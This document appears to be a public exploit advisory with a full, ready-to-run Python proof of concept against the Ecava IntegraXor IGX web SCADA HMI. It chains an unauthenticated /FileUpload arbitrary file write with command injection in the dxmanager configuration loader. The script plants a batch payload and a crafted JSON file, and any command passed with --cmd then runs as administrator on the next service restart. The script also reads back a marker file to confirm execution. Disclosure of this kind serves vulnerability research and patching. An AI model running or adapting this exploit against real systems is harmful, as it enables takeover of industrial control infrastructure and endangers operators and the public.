Title: Ecava IntegraXor IGX 16.0.701.10 - RCE Author: 0day Rubbish Research Team Contact: disclosure@0day-rubbish.com Type: remote Platform: Windows =============================================================================== Target product: Ecava IntegraXor IGX (vendor: Ecava Sdn Bhd, Malaysia), a closed-source 100% HTML5 Web SCADA HMI for ICS/CII manufacturing OT. The DX Web HMI server (dxweb.exe, ASP.NET Core 8.0 Kestrel, default port 8081) has NO authentication on any endpoint. Its /FileUpload endpoint takes an attacker-controlled "copyTo" destination directory and file name with no sanitization, yielding unauthenticated arbitrary file write. Vulnerability summary: The DX Manager orchestrator (dxmanager.exe) at startup enumerates every *.json file in its configuration directory (GetTask() else-branch, taken when dxmanager.csv is absent) and, for each entry whose meta.name is not "dxmanager", builds the command line "cmd.exe /C " and runs it via Process.Start (CreateProcess(), Manager.cs). meta.name flows unsanitized from the JSON file into the command line, so two unauthenticated file writes achieve arbitrary command execution with the dxmanager process identity - administrator (BUILTIN\\Administrators) in the verified deployment. Exploit chain: 1. POST /FileUpload copyTo=C:\\Windows\\Temp\\ file=igx_payload.bat 2. POST /FileUpload copyTo= file=igx_poc.json content: {"meta": {"name": "C:\\Windows\\Temp\\igx_payload.bat"}} 3. Wait for dxmanager startup/restart -> GetTask() enumerates *.json -> cmd.exe /C C:\\Windows\\Temp\\igx_payload.bat -> RCE as administrator. Trigger: dxmanager is the orchestrator and runs continuously in real deployments; restart events (system reboot, module update, crash auto-recovery via the igsvc watchdog, or an unauthenticated MQTT Command.Restart) execute the payload. This script performs only the unauthenticated HTTP planting; the payload runs at the next dxmanager start. The optional --verify-marker mode attempts to read back the marker file afterwards. Usage: python3 ecava_integraxor_unauth_fileupload_dxmanager_rce.py python3 ecava_integraxor_unauth_fileupload_dxmanager_rce.py --cmd "whoami" python3 ecava_integraxor_unauth_fileupload_dxmanager_rce.py --json-dir "C:\\Users\\Administrator\\" python3 ecava_integraxor_unauth_fileupload_dxmanager_rce.py --verify-marker is the dxweb base URL or host[:port], e.g. http://127.0.0.1:8081 Defaults: target = http://127.0.0.1:8081 cmd = whoami/hostname/echo marker writer (see DEFAULT_CMD) json-dir = C:\\Users\\Administrator\\ (dxmanager.json directory, GetTask scope) bat drop = C:\\Windows\\Temp\\igx_payload.bat marker = C:\\Windows\\Temp\\igx_rce_marker.txt Standard library only: urllib / ssl / json / time / sys / argparse - no third-party dependencies. For authorized security research and coordinated disclosure only. Do not use against systems you are not explicitly authorized to test. """ import sys import json import time import ssl import argparse import urllib.request import urllib.parse import urllib.error from urllib.request import Request, urlopen DEFAULT_TARGET = 'http://127.0.0.1:8081' DEFAULT_CMD = ('whoami > C:\\Windows\\Temp\\igx_rce_marker.txt ' '& hostname >> C:\\Windows\\Temp\\igx_rce_marker.txt ' '& echo IGX-RCE-VIA-DXMANAGER-CMD-SINK >> C:\\Windows\\Temp\\igx_rce_marker.txt') DEFAULT_BAT_PATH = 'C:\\Windows\\Temp\\igx_payload.bat' DEFAULT_JSON_DIR = 'C:\\Users\\Administrator\\' BAT_NAME = 'igx_payload.bat' JSON_NAME = 'igx_poc.json' MARKER_PATH = 'C:\\Windows\\Temp\\igx_rce_marker.txt' TIMEOUT = 15 def log(m): print('[*] ' + m) def ok(m): print('[+] ' + m) def err(m): print('[!] ' + m) def build_multipart(fields, files): """Build a multipart/form-data body using only the standard library. fields: dict[str, str]; files: dict[str, (filename, content_bytes)]. Returns (content_type_header, body_bytes).""" boundary = '----igx_boundary_' + str(int(time.time() * 1000)) crlf = b'\r\n' body = b'' for k, v in fields.items(): body += (f'--{boundary}{crlf.decode()}' f'Content-Disposition: form-data; name="{k}"{crlf.decode()}{crlf.decode()}' f'{v}{crlf.decode()}').encode() for fieldname, (filename, content) in files.items(): body += (f'--{boundary}{crlf.decode()}' f'Content-Disposition: form-data; name="{fieldname}"; filename="{filename}"{crlf.decode()}' f'Content-Type: application/octet-stream{crlf.decode()}{crlf.decode()}').encode() body += content + crlf body += f'--{boundary}--{crlf.decode()}'.encode() return 'multipart/form-data; boundary=' + boundary, body def http_post_multipart(url, fields, files): """Unauthenticated multipart POST. Returns (status_code, body_bytes).""" ctype, body = build_multipart(fields, files) req = Request(url, data=body, method='POST') req.add_header('Content-Type', ctype) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: resp = urlopen(req, timeout=TIMEOUT, context=ctx) return resp.getcode(), resp.read() except urllib.error.HTTPError as e: return e.code, e.read() except Exception as e: return -1, str(e).encode() def http_get(url): """Plain GET. Returns (status_code, body_bytes).""" req = Request(url, method='GET') ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: resp = urlopen(req, timeout=TIMEOUT, context=ctx) return resp.getcode(), resp.read() except urllib.error.HTTPError as e: return e.code, e.read() except Exception as e: return -1, str(e).encode() def plant_bat(base, cmd): """Step 1: unauthenticated /FileUpload write of the bat payload to C:\\Windows\\Temp\\igx_payload.bat.""" bat_content = f'@echo off\r\n{cmd}\r\n' fields = {'copyTo': 'C:\\Windows\\Temp\\'} files = {'file': (BAT_NAME, bat_content.encode('utf-8', errors='replace'))} url = base.rstrip('/') + '/FileUpload' log(f'POST {url} (plant bat -> C:\\Windows\\Temp\\{BAT_NAME})') code, body = http_post_multipart(url, fields, files) if code == 200: ok(f'bat planted (HTTP {code})') return True err(f'bat plant failed: HTTP {code} {body[:200]}') return False def plant_json(base, json_dir, bat_path): """Step 2: unauthenticated /FileUpload write of igx_poc.json into the dxmanager configuration directory. meta.name is the absolute path of the bat payload; dxmanager GetTask enumerates it and runs cmd.exe /C .""" payload = {'meta': {'name': bat_path}} content = json.dumps(payload).encode() fields = {'copyTo': json_dir} files = {'file': (JSON_NAME, content)} url = base.rstrip('/') + '/FileUpload' log(f'POST {url} (plant json -> {json_dir}{JSON_NAME}, meta.name={bat_path})') code, body = http_post_multipart(url, fields, files) if code == 200: ok(f'json planted (HTTP {code})') return True err(f'json plant failed: HTTP {code} {body[:200]}') return False def verify_marker(base): """Optional oracle: attempt to read back the marker file through the dxweb /FileDownload endpoint. dxmanager must have been restarted (manually or naturally) first so the payload has executed.""" url = base.rstrip('/') + '/FileDownload?' + urllib.parse.urlencode({'file': MARKER_PATH}) log(f'GET {url} (read marker)') code, body = http_get(url) if code == 200 and body: ok('RCE CONFIRMED - marker content:') print('------ marker ------') print(body.decode('utf-8', errors='replace')) print('------ end ------') return True err(f'marker not yet present (HTTP {code}). Restart dxmanager to trigger the payload.') return False def main(): parser = argparse.ArgumentParser( description='Ecava IntegraXor IGX unauthenticated /FileUpload -> dxmanager ' 'cmd.exe /C RCE PoC (planting stage).') parser.add_argument('target', nargs='?', default=DEFAULT_TARGET, help='dxweb base URL or host[:port] (default: %(default)s)') parser.add_argument('--cmd', default=DEFAULT_CMD, help='command line executed by the planted bat ' '(default: whoami/hostname/echo marker writer)') parser.add_argument('--json-dir', default=DEFAULT_JSON_DIR, help='dxmanager configuration directory enumerated by GetTask ' '(default: %(default)s)') parser.add_argument('--verify-marker', action='store_true', help='skip planting; only attempt to read back the marker file') args = parser.parse_args() target = args.target if not target.startswith('http'): target = 'http://' + target json_dir = args.json_dir if not json_dir.endswith('\\'): json_dir += '\\' print('=' * 70) print('Ecava IntegraXor unauthenticated RCE (dxweb /FileUpload -> dxmanager cmd.exe /C)') print(f' target : {target}') print(f' json dir : {json_dir} (dxmanager GetTask enumeration scope)') print(f' bat path : {DEFAULT_BAT_PATH}') print(f' cmd : {args.cmd}') print('=' * 70) if args.verify_marker: verify_marker(target) return if not plant_bat(target, args.cmd): err('exploit failed: bat plant failed') sys.exit(2) if not plant_json(target, json_dir, DEFAULT_BAT_PATH): err('exploit failed: json plant failed') sys.exit(3) ok('Unauthenticated HTTP planting complete.') print() log('The payload executes at the next dxmanager start/restart (cmd.exe /C ).') log('Trigger events: system reboot / dxmanager update / crash auto-recovery / MQTT Command.Restart') log('In real deployments dxmanager runs continuously as the orchestrator; restart events occur.') print() log('To verify immediately, restart dxmanager manually, then run:') log(f' python3 {sys.argv[0]} {args.target} --verify-marker') if __name__ == '__main__': main()